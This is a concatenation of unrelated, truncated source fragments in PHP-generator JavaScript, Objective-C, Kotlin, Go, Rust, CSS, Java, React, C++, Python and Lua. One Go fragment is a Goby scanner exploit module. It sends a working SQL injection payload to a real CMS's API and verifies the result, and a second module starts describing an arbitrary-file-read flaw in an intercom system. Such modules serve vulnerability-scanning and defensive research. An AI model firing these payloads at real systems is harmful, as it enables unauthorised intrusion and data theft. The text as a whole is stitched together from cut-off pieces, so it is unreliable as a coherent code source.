Blockly.PHP.ORDER_ASSIGNMENT) || '0';
  var argument1 = Blockly.PHP.valueToCode(block, 'TO',
      Blockly.PHP.ORDER_ASSIGNMENT) || '0';
  var increment = Blockly.PHP.valueToCode(block, 'BY',
      Blockly.PHP.ORDER_ASSIGNMENT) || '1';
  var branch = Blockly.PHP.statementToCode(block, 'DO');
  branch = Blockly.PHP.addLoopTrap(branch, block);
  var code;
  if (Blockly.isNumber(argument0) && Blockly.isNumber(argument1) &&
      Blockly.isNumber(increment)) {
    // All arguments are simple numbers.
    var up = parseFloat(argument0) <= parseFloat(argument1);
    code = 'for (' + variable0 + ' = ' + argument0 + '; ' +
        variable0 + (up ? ' <= ' : ' >= ') + argument1 + '; ' +
        variable0;
    var step = Math.abs(parseFloat(increment));
    if (step == 1) {
      code += up ? '++' : '--';
    } else {
      code += (up ? ' += ' : ' -= ') + step;
    }
    code += ') {\n' + branch + '}\n';
  } else {
    code = '';
    // Cache non-trivial values to variables to prevent repeated look-ups.
    var startVar = argument0;
    if (!argument0.match(/^\w+$/) && !Blockly.isNumber(argument0)) {
      startVar = Blockly.PHP.variableDB_.getDistinctName(
          variable0 + '_start', Blockly.Variables.NAME_TYPE);
      code += startVar + ' = ' + argument0 + ';\n';
    }
    var endVar = argument1;
    if (!argument1.match(/^\w+$/) && !Blockly.isNumber(argument1)) {
      var endVar = Blockly.PHP.variableDB_.getDistinctName(
          variable0 + '_end', Blockly.Variables.NAME_TYPE);
      code += endVar + ' = ' + argument1 + ';\n';
    }
    // Determine loop direction at start, in case one of the bounds
    // changes during loop execution.
    var incVar = Blockly.PHP.variableDB_.getDistinctName(
        variable0 + '_inc', Blockly.Variables.NAME_TYPE);
    code += incVar + ' = ';
    if (Blockly.isNumber(increment)) {
      code += Math.abs(increment) + ';\n';
    } else {
      code += 'abs(' + increment + ');\n';
    }
    code += 'if (' + startVar + ' > ' + endVar + ') {\n';
    code += Blockly.PHP.INDENT + incVar + ' = -' + incVar + ';\n';
    code += '}\n';
    code += 'for (' + variable0 + ' = ' + startVar + '; ' +
        incVar + ' >= 0 ? ' +
        variable0 + ' <= ' + endVar + ' : ' +
        variable0 + ' >= ' + endVar + '; ' +
        variable0 + ' += ' + incVar + ') {\n' +
        branch + '}\n';
  }
  return code;
};

Blockly.PHP['controls_forEach'] = function(block) {
  // For each loop.
  var variable0 = Blockly.PHP.variableDB_.getName(
      block.getFieldValue('VAR'), Blockly.Variables.NAME_TYPE);
  var argument0 = Blockly.PHP.valueToCode(block, 'LIST',
      Blockly.PHP.ORDER_ASSIGNMENT) || '[]';
  var branch = Blockly.PHP.statementToCode(block, 'DO');
  branch = Blockly.PHP.addLoopTrap(branch, block);
  var code = '';
  code += 'foreach (' + argument0 + ' as ' + variable0 +
      ') {\n' + branch + '}\n';
  return code;
};

Blockly.PHP['controls_flow_statements'] = function(block


/*
 *  $Id$
 *
 *  Copyright (C) 2006 - 2007 Stephen F. Booth <me@sbooth.org>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#import <Cocoa/Cocoa.h>
#include <CoreAudio/CoreAudioTypes.h>

#import "AudioDecoderMethods.h"

// ========================================
// Error Codes
// ========================================
extern NSString * const			AudioDecoderErrorDomain;

enum {
	AudioDecoderFileNotFoundError				= 0,
	AudioDecoderFileFormatNotRecognizedError	= 1,
	AudioDecoderFileFormatNotSupportedError		= 2,
	AudioDecoderInputOutputError				= 3
};

// Superclass for an audio decoder covering an entire file
@interface AudioDecoder : NSObject <AudioDecoderMethods>
{
	NSURL							*_url;				// The location of the stream to be decoded

	AudioStreamBasicDescription		_format;			// The type of PCM data provided by this decoder
	AudioChannelLayout				_channelLayout;		// The channel layout for the PCM data

	AudioStreamBasicDescription		_sourceFormat;		// The native (PCM) format of the source file
}

// Return an AudioDecoder of the appropriate class
+ (AudioDecoder *) decoderWithURL:(NSURL *)url error:(NSError **)error;

// Designated initializer
- (id) initWithURL:(NSURL *)url error:(NSError **)error;

// The stream this decoder will process
- (NSURL *) URL;
@end


    fun initX5Core(context: Context,isDownloadWithoutWifi:Boolean=true,coreMinVersion:Int=QbSdk.CORE_VER_ENABLE_202207,listener: X5CoreListener) {

        /* [new] 独立Web进程演示 */
       /* if (!startX5WebProcessPreinitService()) {
            return
        }*/
        context.loadX5Core(isDownloadWithoutWifi,coreMinVersion,listener)
    }

    /**
     * 启动X5内核
     */
    private fun Context.loadX5Core(isDownloadWithoutWifi:Boolean,coreMinVersion:Int,listener: X5CoreListener) {

        /* 设置允许移动网络下进行内核下载。默认不下载，会导致部分一直用移动网络的用户无法使用x5内核 */
        QbSdk.setDownloadWithoutWifi(isDownloadWithoutWifi)
        QbSdk.setCoreMinVersion(coreMinVersion)

        /* 此过程包括X5内核的下载、预初始化，接入方不需要接管处理x5的初始化流程，希望无感接入 */QbSdk.initX5Environment(this, object : PreInitCallback {
            override fun onCoreInitFinished() { // 内核初始化完成，可能为系统内核，也可能为系统内核
                Log.i(TAG, "onCoreInitFinished:")
                listener.onCoreInitFinished()
            }

            /**
             * 预初始化结束
             * 由于X5内核体积较大，需要依赖wifi网络下发，所以当内核不存在的时候，默认会回调false，此时将会使用系统内核代替
             * 内核下发请求发起有24小时间隔，卸载重装、调整系统时间24小时后都可重置
             * 调试阶段建议通过 WebView 访问 debugtbs.qq.com -> 安装线上内核 解决
             * @param isX5 是否使用X5内核
             */
            override fun onViewInitFinished(isX5: Boolean) {
                listener.onViewInitFinished(isX5)
                val tbsVersion = QbSdk.getTbsVersion(this@loadX5Core)
                Log.i(TAG, "onViewInitFinished isX5:" + isX5 + ",tbsVersion:" + tbsVersion + ",abi:" + Build.SUPPORTED_ABIS[0])
                if (!isX5 && tbsVersion == 0) checkLocalTbs(listener) // hint: you can use QbSdk.getX5CoreLoadHelp(context) anytime to get help.
            }
        })
    }

    private fun Context.checkLocalTbs(listener: X5CoreListener) {
        val fileName="tbs_core_release.tbs.apk"
        val fileCacheDirPath=getCacheDirPath().plus(File.separator).plus(fileName)
        if(!checkFileExists(fileName)){
            copyAssetFileToCache("arm64_v8a",fileName)
            installLocalTbs(fileCacheDirPath,listener)
        }else installLocalTbs(fileCacheDirPath,listener)
    }

    private fun Context.installLocalTbs(path: String,listener: X5CoreListener) {

        //armeabi架构
        //        QbSdk.installLocalTbsCore(getApplicationContext(), 46514, getApplicationContext().getCacheDir().getAbsolutePath() + "/ttbs_core_046514_20230612114949_nolog_fs_obfs_armeabi_release.tbs.apk")

        //arm64-v8a
        QbSdk.installLocalTbsCore(applicationContext, 46285, path)

        /* SDK内核初始化周期回调，包括 下载、安装、加载 */
        QbSdk.setTbsListener(object : TbsListener {


"
  ],
  "HasExp": false,
  "ExpParams": null,
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": null,
  "Tags": ["SQL injection"],
  "CVEIDs": null,
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": ["ShiziyuCms"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}`

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
		    uri := "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5(1),0x7e),1)"
			cfg := httpclient.NewGetRequestConfig(uri)
			cfg.VerifyTls = false
			cfg.FollowRedirect = false
			cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
			if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
        		return strings.Contains(resp.RawBody, "c4ca4238a0b923820dcc509a6f75849")
        	}
			return false
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			return expResult
		},
	))
}package exploits

import (
	"git.gobies.org/goby/goscanner/goutils"
)

func init() {
	expJson := `{
  "Name": "SPON IP network intercom broadcast system ping.php any file read",
  "Description": "World Bond Communication Co., Ltd. is an audio as the core of the Internet of things solution provider. An arbitrary file reading vulnerability exists in the IP network intercom broadcast system of WorldBond Communication Co., LTD., which can be used by attackers to obtain sensitive information",
  "Product": "SPON IP network intercom broadcast system",
  "Homepage": "https://www.spon.com.cn/",
  "DisclosureDate": "2021-08-24",
  "Author": "luckying1314@139.com",
  "GobyQuery": "body=\"lan/manifest.json\"",
  "Level": "2",
  "Impact": "
The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (.. \\ or.. /) to download or read a file beyond the original specified path. The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system

",
  "Recommandation": "
Limit ../ The best way is that the file should be in the database for one to one mapping, avoid entering the absolute path to obtain the file

",
  "Referenc


geTemplateService
) : OpNotifyMessageTemplateResource {

    override fun getNotifyMessageTemplates(userId: String, templateId: String): Result<Page<SubNotifyMessageTemplate>> {
        return notifyMessageTemplateService.getNotifyMessageTemplates(userId, templateId)
    }

    override fun getCommonNotifyMessageTemplates(
        userId: String,
        templateCode: String?,
        templateName: String?,
        page: Int?,
        pageSize: Int?
    ): Result<Page<NotifyMessageCommonTemplate>> {
        return notifyMessageTemplateService.getCommonNotifyMessageTemplates(
            userId = userId,
            templateCode = templateCode,
            templateName = templateName,
            page = page,
            pageSize = pageSize
        )
    }

    override fun addNotifyMessageTemplate(
        userId: String,
        notifyMessageTemplateRequest: NotifyTemplateMessageRequest
    ): Result<Boolean> {
        return notifyMessageTemplateService.addNotifyMessageTemplate(userId, notifyMessageTemplateRequest)
    }

    override fun updateNotifyMessageTemplate(
        userId: String,
        templateId: String,
        notifyMessageTemplateRequest: NotifyTemplateMessageRequest
    ): Result<Boolean> {
        return notifyMessageTemplateService.updateNotifyMessageTemplate(
            userId = userId,
            templateId = templateId,
            notifyMessageTemplateRequest = notifyMessageTemplateRequest
        )
    }

    override fun updateTXSESTemplateId(userId: String, templateId: String, sesTemplateId: Int?): Result<Boolean> {
        return notifyMessageTemplateService.updateTXSESTemplateId(userId, templateId, sesTemplateId)
    }

    override fun deleteNotifyMessageTemplate(templateId: String, notifyType: String): Result<Boolean> {
        return notifyMessageTemplateService.deleteNotifyMessageTemplate(templateId, notifyType)
    }

    override fun deleteCommonNotifyMessageTemplate(templateId: String): Result<Boolean> {
        return notifyMessageTemplateService.deleteCommonNotifyMessageTemplate(templateId)
    }
}
/*
 * Tencent is pleased to support the open source community by making BK-CI 蓝鲸持续集成平台 available.
 *
 * Copyright (C) 2019 Tencent.  All rights reserved.
 *
 * BK-CI 蓝鲸持续集成平台 is licensed under the MIT license.
 *
 * A copy of the MIT License is included in this file.
 *
 *
 * Terms of the MIT License:
 * ---------------------------------------------------
 * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
 * documentation files (the "Software"), to deal in the Software without restriction, including without limitation the
 * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all copies or substantial portions of
 * the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
 * LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
 * NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
 * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
 * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */
package com.tencent.devops.notify.dao

import com.tencent.devops.common.api.util.PageUtil
import com.tencent.devops.common.notify.enums.EnumNotifySource
import com.tencent.devops.model.notify.tables.TNotifyRtx
import com.tencent.devops.model.notify.tables.records.TNotifyR


ittable>,
    ) -> Option<AABB> {
        let bbox = child.bounding_box(t0, t1);
        if let None = bbox {
            return None;
        }

        let bbox = bbox.unwrap();

        let mut vmin = Vec3::from_element(f64::INFINITY);
        let mut vmax = Vec3::from_element(f64::NEG_INFINITY);

        for i in 0..2 {
            for j in 0..2 {
                for k in 0..2 {
                    let i = i as f64;
                    let j = j as f64;
                    let k = k as f64;

                    let x = i * bbox.max.x + (1. - i) * bbox.min.x;
                    let y = j * bbox.max.y + (1. - j) * bbox.min.y;
                    let z = k * bbox.max.z + (1. - k) * bbox.min.z;

                    let new_vec = (transform * Vec4::new(x, y, z, 1.)).xyz();
                    vmin = vmin.zip_map(&new_vec, f64::min);
                    vmax = vmax.zip_map(&new_vec, f64::max);
                }
            }
        }

        Some(AABB::new(vmin, vmax))
    }

    pub fn from_rot_x(angle: f64, child: Arc<dyn Hittable>) -> Transform {
        let axis = Unit::new_normalize(Vec3::new(1., 0., 0.));
        Transform::new(&Mat4::from_axis_angle(&axis, angle), child)
    }

    pub fn from_rot_y(angle: f64, child: Arc<dyn Hittable>) -> Transform {
        let axis = Unit::new_normalize(Vec3::new(0., 1., 0.));
        Transform::new(&Mat4::from_axis_angle(&axis, angle), child)
    }

    pub fn from_rot_z(angle: f64, child: Arc<dyn Hittable>) -> Transform {
        let axis = Unit::new_normalize(Vec3::new(0., 0., 1.));
        Transform::new(&Mat4::from_axis_angle(&axis, angle), child)
    }
}

impl Hittable for Transform {
    fn hit(&self, ray: &Ray, t_min: f64, t_max: f64) -> Option<HitRecord> {
        let origin = Vec4::new(ray.origin.x, ray.origin.y, ray.origin.z, 1.);
        let dir = Vec4::new(ray.direction.x, ray.direction.y, ray.direction.z, 1.);

        let inverse_origin = self.inv_transform * origin;
        let inverse_dir = self.inv_normal * dir;

        let record = self.child.hit(
            &Ray {
                origin: inverse_origin.xyz(),
                direction: inverse_dir.xyz(),
                time: ray.time,
            },
            t_min,
            t_max,
        );
        if record.is_none() {
            return None;
        }

        let record = record.unwrap();
        let p = Vec4::new(record.p.x, record.p.y, record.p.z, 1.);
        let p = self.transform * p;
        let normal = Vec4::new(record.normal.x, record.normal.y, record.normal.z, 1.);

        let normal = self.normal_mat * normal;

        Some(HitRecord {
            front_facing: record.front_facing,
            material: record.material,
            normal: normal.xyz().normalize(),
            t: record.t,
            p: p.xyz(),
            u: record.u,
            v: record.v,
        })
    }

    fn bounding_box(&self, _t0: f64, _t1: f64) -> Option<AABB> {
        self.bbox.clone()
    }
}

// - Sphere -

pub struct Sphere {
    pub center: Vec3,


type="radio"]:disabled + label {
    opacity: 0.65;
}

.form-horizontal .checkbox-item label::before{
    top: 3px;
}

.form-horizontal .checkbox-item label::after{
    top: 4px;
}
.checkbox-item input[type="checkbox"] {
    opacity: 0;
    z-index: -1;
    /* set the position at same place than label::after */
    position: absolute;
    left: 0;
    /* margin-right: -20px; input is out of label : must remove position:relative from label and set it to .checkbox-item*/
}

.checkbox-item input[type="checkbox"]:disabled + label::before,
.checkbox-item input[type="radio"]:disabled + label::before {
    cursor: not-allowed;
}
.checkbox-item.checkbox-circle label::before {
    border-radius: 50%;
}
.checkbox-item.checkbox-inline {
    margin-top: 0;
}

/**
 *  awesome-bootstrap-checkbox inside table with an visually-hidden label
 */
/* reset the margin and review the padding set by bootstrap */
table.ls-answers input[type="checkbox"],
table.ls-answers input[type="radio"] {
    margin : 0;
}

/* We need complete width in array , but don't touch to padding-(top|bottom) */
.ls-answers td.checkbox-item {
    padding-left  : 20px;
    padding-right : 0;
}

.checkbox-item .ls-label-xs-visibility {
    left        : auto;
    margin-left : -20px;
}

/* no margin on label : no margin after and before too */
.checkbox-item label.ls-label-xs-visibility::before {
    margin-left : 0;
}

.checkbox-item label.ls-label-xs-visibility::after {
    margin-left  : 0;
    padding-left : 0;
}

.checkbox-item label.ls-label-xs-visibility::after {
    text-align  : center;
    text-indent : 0;
}

/* Hide the other content inside visually-hidden */
.checkbox-item label.ls-label-xs-visibility > * {
    position : absolute;
    top      : auto;
    width    : 1px;
    height   : 1px;
    overflow : hidden;
}

.checkbox-item label.ls-label-xs-visibility > * {
    left : -10000px;
}

@media only screen and (max-width : 760px), (min-device-width : 768px) and (max-device-width : 1024px) {
    .checkbox-item label.ls-label-xs-visibility > * {
        left : auto;
    }
}

/* Align privacy policy checkbox to top */
#datasecurity_accepted {
    vertical-align : top;
}
li.imageselect-listitem .imageselect-container .imageselect-label{
    border: 2px solid $g-700 !important;
}

li.imageselect-listitem .imageselect-container input.imageselect-checkbox:checked+label{
    border: 2px solid $base-color !important;
}

li.imageselect-listitem .imageselect-container input.imageselect-checkbox:checked+label+.imageselect-radiobutton:after {
    background-color: $base-color;
}

.imageselect-container .imageselect-radiobutton:before {
    background-color: #fff;
    border: 2px solid $g-700;
}

li.imageselect-listitem .imageselect-container input.imageselect-checkbox:checked+label+.imageselect-radiobutton:before {
    border-color: $base-color;
}

// Multiple
.imageselect-container .imageselect-select::before {
    background-color: transparent;
}

input.imageselect-checkb


vent End of Track.
     * The newly created track is returned.  All tracks in the sequence
     * may be retrieved using {@link #getTracks}.  Tracks may be
     * removed from the sequence using {@link #deleteTrack}.
     * @return the newly created track
     */
    public Track createTrack() {

        Track track = new Track();
        tracks.addElement(track);

        return track;
    }

    /**
     * Removes the specified track from the sequence.
     * @param track the track to remove
     * @return true if the track existed in the track and was removed,
     * otherwise false.
     *
     * @see #createTrack
     * @see #getTracks
     */
    public boolean deleteTrack(Track track) {

        synchronized(tracks) {

            return tracks.removeElement(track);
        }
    }

    /**
     * Obtains an array containing all the tracks in this sequence.
     * If the sequence contains no tracks, an array of length 0 is returned.
     * @return the array of tracks
     *
     * @see #createTrack
     * @see #deleteTrack
     */
    public Track[] getTracks() {

        return (Track[]) tracks.toArray(new Track[tracks.size()]);
    }

    /**
     * Obtains the duration of this sequence, expressed in microseconds.
     * @return this sequence's duration in microseconds.
     */
    public long getMicrosecondLength() {

        return com.sun.media.sound.MidiUtils.tick2microsecond(this, getTickLength(), null);
    }

    /**
     * Obtains the duration of this sequence, expressed in MIDI ticks.
     *
     * @return this sequence's length in ticks
     *
     * @see #getMicrosecondLength
     */
    public long getTickLength() {

        long length = 0;

        synchronized(tracks) {

            for(int i=0; i<tracks.size(); i++ ) {
                long temp = ((Track)tracks.elementAt(i)).ticks();
                if( temp>length ) {
                    length = temp;
                }
            }
            return length;
        }
    }

    /**
     * Obtains a list of patches referenced in this sequence.
     * This patch list may be used to load the required
     * {@link Instrument} objects
     * into a {@link Synthesizer}.
     *
     * @return an array of {@link Patch} objects used in this sequence
     *
     * @see Synthesizer#loadInstruments(Soundbank, Patch[])
     */
    public Patch[] getPatchList() {

        // $$kk: 04.09.99: need to implement!!
        return new Patch[0];
    }
}
/*
 * Copyright (c) 1999, 2014, Oracle and/or its affiliates. All rights reserved.
 * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
 *
 * This code is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License version 2 only, as
 * published by the Free Software Foundation.  Oracle designates this
 * particular file as subject to the "Classpath" exception as provided
 * by Oracle in the LICENSE file that accompanied this code.
 *
 * This code is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
 * version 2 for more details (a copy is included in the LICENSE file that
 * accompanied this code).
 *
 * You should have received a copy of the GNU General Public License version
 * 2 along with this work; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
 *
 * Please contact Oracle, 500 Oracle


* @param {string} key\n */\n\nfunction jsxDEV(type, config, maybeKey, source, self) {\n  {\n    var propName; // Reserved names are extracted\n\n    var props = {};\n    var key = null;\n    var ref = null; // Currently, key can be spread in as a prop. This causes a potential\n    // issue if key is also explicitly declared (ie. <div {...props} key=\"Hi\" />\n    // or <div key=\"Hi\" {...props} /> ). We want to deprecate key spread,\n    // but as an intermediary step, we will use jsxDEV for everything except\n    // <div {...props} key=\"Hi\" />, because we aren't currently able to tell if\n    // key is explicitly declared to be undefined or not.\n\n    if (maybeKey !== undefined) {\n      key = '' + maybeKey;\n    }\n\n    if (hasValidKey(config)) {\n      key = '' + config.key;\n    }\n\n    if (hasValidRef(config)) {\n      ref = config.ref;\n      warnIfStringRefCannotBeAutoConverted(config, self);\n    } // Remaining properties are added to a new props object\n\n\n    for (propName in config) {\n      if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {\n        props[propName] = config[propName];\n      }\n    } // Resolve default props\n\n\n    if (type && type.defaultProps) {\n      var defaultProps = type.defaultProps;\n\n      for (propName in defaultProps) {\n        if (props[propName] === undefined) {\n          props[propName] = defaultProps[propName];\n        }\n      }\n    }\n\n    if (key || ref) {\n      var displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;\n\n      if (key) {\n        defineKeyPropWarningGetter(props, displayName);\n      }\n\n      if (ref) {\n        defineRefPropWarningGetter(props, displayName);\n      }\n    }\n\n    return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);\n  }\n}\n\nvar ReactCurrentOwner$1 = ReactSharedInternals.ReactCurrentOwner;\nvar ReactDebugCurrentFrame$1 = ReactSharedInternals.ReactDebugCurrentFrame;\n\nfunction setCurrentlyValidatingElement$1(element) {\n  {\n    if (element) {\n      var owner = element._owner;\n      var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);\n      ReactDebugCurrentFrame$1.setExtraStackFrame(stack);\n    } else {\n      ReactDebugCurrentFrame$1.setExtraStackFrame(null);\n    }\n  }\n}\n\nvar propTypesMisspellWarningShown;\n\n{\n  propTypesMisspellWarningShown = false;\n}\n/**\n * Verifies the object is a ReactElement.\n * See https://reactjs.org/docs/react-api.html#isvalidelement\n * @param {?object} object\n * @return {boolean} True if `object` is a ReactElement.\n * @final\n */\n\nfunction isValidElement(object) {\n  {\n    return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;\n  }\n}\n\nfunction getDeclarationErrorAddendum() {\n  {\n    if (ReactCurrentOwner$1.current) {\n      var name = getComponentName(ReactCurrentOwner$1.current.type);\n\n      if (name) {\n        return '\\n\\nCheck the render method of `' + name + '`.';\n      }\n    }\n\n    return '';\n  }\n}\n\nfunction getSourceInfoErrorAddendum(source) {\n  {\n    if (source !== undefined) {\n      var fileName = source.fileName.replace(/^.*[\\\\\\/]/, '');\n      var lineNumber = source.lineNumber;\n      return '\\n\\nCheck your code at '


Style != DateFormat::kNone) {
            delete fDateTimeMsg;
            fDateTimeMsg = getTimeDateFormat(newCalendar, fLocale, status);
        }
    }

    delete fCalendar;
    fCalendar = newCalendar;

    fZoneID = setTimeZoneInfo(fTZI, fCalendar->getTimeZone());
}

void Win32DateFormat::setCalendar(const Calendar &newCalendar)
{
    adoptCalendar(newCalendar.clone());
}

void Win32DateFormat::adoptTimeZone(TimeZone *zoneToAdopt)
{
    fZoneID = setTimeZoneInfo(fTZI, *zoneToAdopt);
    fCalendar->adoptTimeZone(zoneToAdopt);
}

void Win32DateFormat::setTimeZone(const TimeZone& zone)
{
    fZoneID = setTimeZoneInfo(fTZI, zone);
    fCalendar->setTimeZone(zone);
}

static const DWORD dfFlags[] = {DATE_LONGDATE, DATE_LONGDATE, DATE_SHORTDATE, DATE_SHORTDATE};

void Win32DateFormat::formatDate(const SYSTEMTIME *st, UnicodeString &appendTo) const
{
    int result;
    UChar stackBuffer[STACK_BUFFER_SIZE];
    UChar *buffer = stackBuffer;

    result = GetDateFormatW(fLCID, dfFlags[fDateStyle - kDateOffset], st, NULL, buffer, STACK_BUFFER_SIZE);

    if (result == 0) {
        if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
            int newLength = GetDateFormatW(fLCID, dfFlags[fDateStyle - kDateOffset], st, NULL, NULL, 0);

            buffer = NEW_ARRAY(UChar, newLength);
            GetDateFormatW(fLCID, dfFlags[fDateStyle - kDateOffset], st, NULL, buffer, newLength);
        }
    }

    appendTo.append(buffer, (int32_t) wcslen(buffer));

    if (buffer != stackBuffer) {
        DELETE_ARRAY(buffer);
    }
}

static const DWORD tfFlags[] = {0, 0, 0, TIME_NOSECONDS};

void Win32DateFormat::formatTime(const SYSTEMTIME *st, UnicodeString &appendTo) const
{
    int result;
    UChar stackBuffer[STACK_BUFFER_SIZE];
    UChar *buffer = stackBuffer;

    result = GetTimeFormatW(fLCID, tfFlags[fTimeStyle], st, NULL, buffer, STACK_BUFFER_SIZE);

    if (result == 0) {
        if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
            int newLength = GetTimeFormatW(fLCID, tfFlags[fTimeStyle], st, NULL, NULL, 0);

            buffer = NEW_ARRAY(UChar, newLength);
            GetDateFormatW(fLCID, tfFlags[fTimeStyle], st, NULL, buffer, newLength);
        }
    }

    appendTo.append(buffer, (int32_t) wcslen(buffer));

    if (buffer != stackBuffer) {
        DELETE_ARRAY(buffer);
    }
}

UnicodeString Win32DateFormat::setTimeZoneInfo(TIME_ZONE_INFORMATION *tzi, const TimeZone &zone) const
{
    UnicodeString zoneID;

    zone.getID(zoneID);

    if (zoneID.compare(fZoneID) != 0) {
        UnicodeString icuid;

        zone.getID(icuid);
        if (! uprv_getWindowsTimeZoneInfo(tzi, icuid.getBuffer(), icuid.length())) {
            UBool found = FALSE;
            int32_t ec = TimeZone::countEquivalentIDs(icuid);

            for (int z = 0; z < ec; z += 1) {
                UnicodeString equiv = TimeZone::getEquivalentID(icuid, z);

                if (fo


ph_data = graph_data.to(device)

            predictions = combined_model(smiles_embeddings, graph_data)
            all_predictions.extend(predictions.cpu().numpy())
            all_true_values.extend(logP_values.cpu().numpy())

    # 计算 Pearson 系数和 MAE
    all_predictions = np.array(all_predictions).flatten()
    all_true_values = np.array(all_true_values).flatten()

    pearson_corr, _ = pearsonr(all_true_values, all_predictions)
    mae = mean_absolute_error(all_true_values, all_predictions)
    mse = mean_squared_error(all_true_values, all_predictions)
    rmse = np.sqrt(mse)

    print(f'Pearson Correlation Coefficient: {pearson_corr:.4f}')
    print(f'MAE: {mae:.4f}, RMSE: {rmse:.4f}')
    pearson_list.append(pearson_corr)
    mae_list.append(mae)
    rmse_list.append(rmse)

    df_test = pd.DataFrame({
            'Predictions': all_predictions,
            'True_Values': all_true_values
        })

    scatter_file = f'result/predictions_{data_name}_{model_name}_dropout{dropout}_hidden{hidden_dim}_iter{idx}.csv'
    df_test.to_csv(scatter_file, index=False)

    if pearson_corr > max_pearson:
        max_pearson = pearson_corr
        # 保存当前模型权重
        torch.save(combined_model.state_dict(), model_save_path)
        print(f"Model saved at round {idx} with Pearson coefficient: {max_pearson}, RMSE: {rmse}")

    del combined_model

df_test = pd.DataFrame({'Pearson': pearson_list, 'MAE':mae_list, 'RMSE':rmse_list})
df_test.to_csv(f'result/pearson_{data_name}_{model_name}.csv', index=False)

Q1 = df_test['RMSE'].quantile(0.25)
Q3 = df_test['RMSE'].quantile(0.75)
IQR = Q3 - Q1

# 定义异常值范围
lower_bound = Q1 - 1.5 * IQR
upper_bound = Q3 + 1.5 * IQR

# 剔除异常值
df_test_clean = df_test[(df_test['RMSE'] >= lower_bound) & (df_test['RMSE'] <= upper_bound)]

# 计算均值和标准差
mean_clean = df_test_clean['RMSE'].mean()
std_clean = df_test_clean['RMSE'].std()

pearson_mean = df_test_clean['Pearson'].mean()  # 新增：Pearson均值
pearson_std = df_test_clean['Pearson'].std()

print(f'RMSE mean_clean: {mean_clean:.3f} ± {std_clean:.3f}')
print(f'Pearson (clean): {pearson_mean:.3f} ± {pearson_std:.3f}')
print(f"valid number: {len(df_test_clean)}/{len(df_test)}")


print(target:GetEntityIndex(), target.attack_counter)

	if attacker:IsRealHero() then
		target.attack_counter = target.attack_counter - hero_attack_damage
	else
		target.attack_counter = target.attack_counter - 1
	end

	-- Adjust the health of the ward
	-- TODO: Check if this should be /4, and if the Damage is still dealt
	target:SetHealth(target.attack_counter)
	print("SetHealth of "..target:GetUnitName().." at "..target.attack_counter)
end

--[[
	Author: Noya
	Date: April 5, 2015
	Get a point at a distance in front of the caster
]]
function GetFrontPoint( event )
	local caster = event.caster
	local fv = caster:GetForwardVector()
	local origin = caster:GetAbsOrigin()
	local distance = event.Distance

	local front_position = origin + fv * distance
	local result = {}
	table.insert(result, front_position)

	return result
end

-- Store all the targets mana and initialize the attack counter of the ward
function NetherWardStart( event )
	local target = event.target
	local ability = event.ability
	local attacks_to_destroy = ability:GetLevelSpecialValueFor("attacks_to_destroy", ability:GetLevel() - 1 )
	target.attack_counter = attacks_to_destroy

	-- This is needed to attach the particle attack. Should be a table if we were dealing with possible multiple wards
	ability.nether_ward = target

